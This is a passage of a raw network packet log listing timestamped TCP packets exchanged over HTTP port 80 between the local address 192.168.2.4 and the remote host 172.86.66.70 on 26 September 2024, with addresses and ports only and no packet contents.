Sep 26, 2024 12:12:30.570339918 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570350885 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570379972 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570403099 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570409060 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570420027 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570430040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570441008 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570452929 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570461988 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570483923 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570503950 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570593119 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570604086 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570614100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570640087 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570712090 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570723057 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570733070 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570760965 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570791006 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570864916 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570877075 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570885897 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570895910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570905924 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570911884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570918083 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570929050 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570955038 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570977926 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.571067095 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.571078062 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.571088076 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.571111917 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.571132898 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.575658083 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575756073 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575766087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575777054 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575787067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575802088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575812101 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.575840950 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.575861931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575872898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575879097 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575915098 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.575937986 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.575978994 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.576004982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576021910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576031923 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576042891 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576057911 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.576071024 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576081991 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576093912 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.576122999 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.576179028 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576226950 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576239109 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576271057 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.576291084 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576302052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576312065 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576323032 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576337099 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.576359987 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.576405048 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576416016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576426029 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576436043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576457024 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.576492071 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.576535940 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.576577902 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.578217983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578527927 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578538895 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578550100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578567982 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.578591108 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.578691006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578701019 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578711987 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578738928 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.578850985 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578862906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578872919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578883886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578892946 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.578893900 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578907013 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.578916073 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.578950882 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579010963 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579021931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579032898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579041958 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579051971 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579052925 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579063892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579073906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579080105 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579088926 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579091072 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579099894 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579112053 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579122066 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579128027 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579148054 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579193115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579204082 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579214096 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579224110 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579233885 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579236984 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579246044 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579257011 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579267979 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579272985 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579279900 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579289913 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579297066 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579308033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579317093 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579319954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579334021 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579343081 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579359055 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579364061 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579370975 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579387903 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579400063 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579406023 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579411983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579423904 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579428911 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579435110 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579446077 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579457045 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579457045 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579468012 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579473019 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579478979 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579490900 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579503059 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579504013 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579515934 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579526901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579530954 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579538107 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579550028 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579560995 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579562902 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579572916 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579586029 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579596996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579598904 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.579608917 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.579641104 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.629448891 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.662682056 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662694931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662705898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662740946 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662751913 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662763119 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662775993 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662888050 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662899017 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662909985 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662920952 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.662940025 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.663055897 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.663103104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.663114071 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.663124084 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.663135052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.663146973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.663153887 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.663175106 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.664318085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664330006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664340019 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664350033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664361000 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664371014 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664381981 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664391994 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664397001 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.664406061 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664417982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664428949 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.664457083 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.664480925 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.668224096 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668234110 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668298006 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.668534040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668584108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668595076 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668637991 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.668663979 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668674946 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668685913 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668697119 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668710947 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.668734074 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.668813944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668824911 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668834925 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668845892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668857098 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668863058 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.668884993 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.668904066 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.668970108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668979883 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.668989897 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669002056 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669012070 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669022083 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669025898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669037104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669058084 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669092894 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669143915 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669161081 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669172049 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669183016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669198990 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669222116 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669310093 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669327021 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669337988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669348001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669353008 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669361115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669378042 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669389009 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669389963 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669430971 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669462919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669473886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669485092 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669509888 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669512987 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669526100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669537067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669548988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669557095 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669579983 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669734955 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669745922 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669754982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669774055 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669783115 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669785023 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669796944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669807911 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669817924 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669819117 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669830084 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669841051 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669852018 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669853926 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669867039 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669878006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.669878006 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669900894 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.669920921 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670108080 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670120001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670130014 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670142889 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670156002 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670166016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670177937 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670187950 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670193911 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670201063 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670213938 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670221090 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670224905 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670237064 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670243025 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670279980 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670397043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670408964 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670450926 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670489073 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670500040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670511007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670521975 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670533895 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670536041 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670542955 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670558929 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670582056 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670708895 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670720100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670731068 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670742035 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670753002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670757055 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670764923 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670777082 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670789003 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670790911 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670870066 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670881033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670891047 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670898914 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670902014 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670913935 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670917034 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670924902 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.670945883 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.670967102 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.755377054 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755410910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755521059 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.755538940 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755578041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755592108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755637884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.755654097 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755665064 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755677938 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755701065 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.755734921 CEST	49755	80	192.168.2.4	172.86.66.70
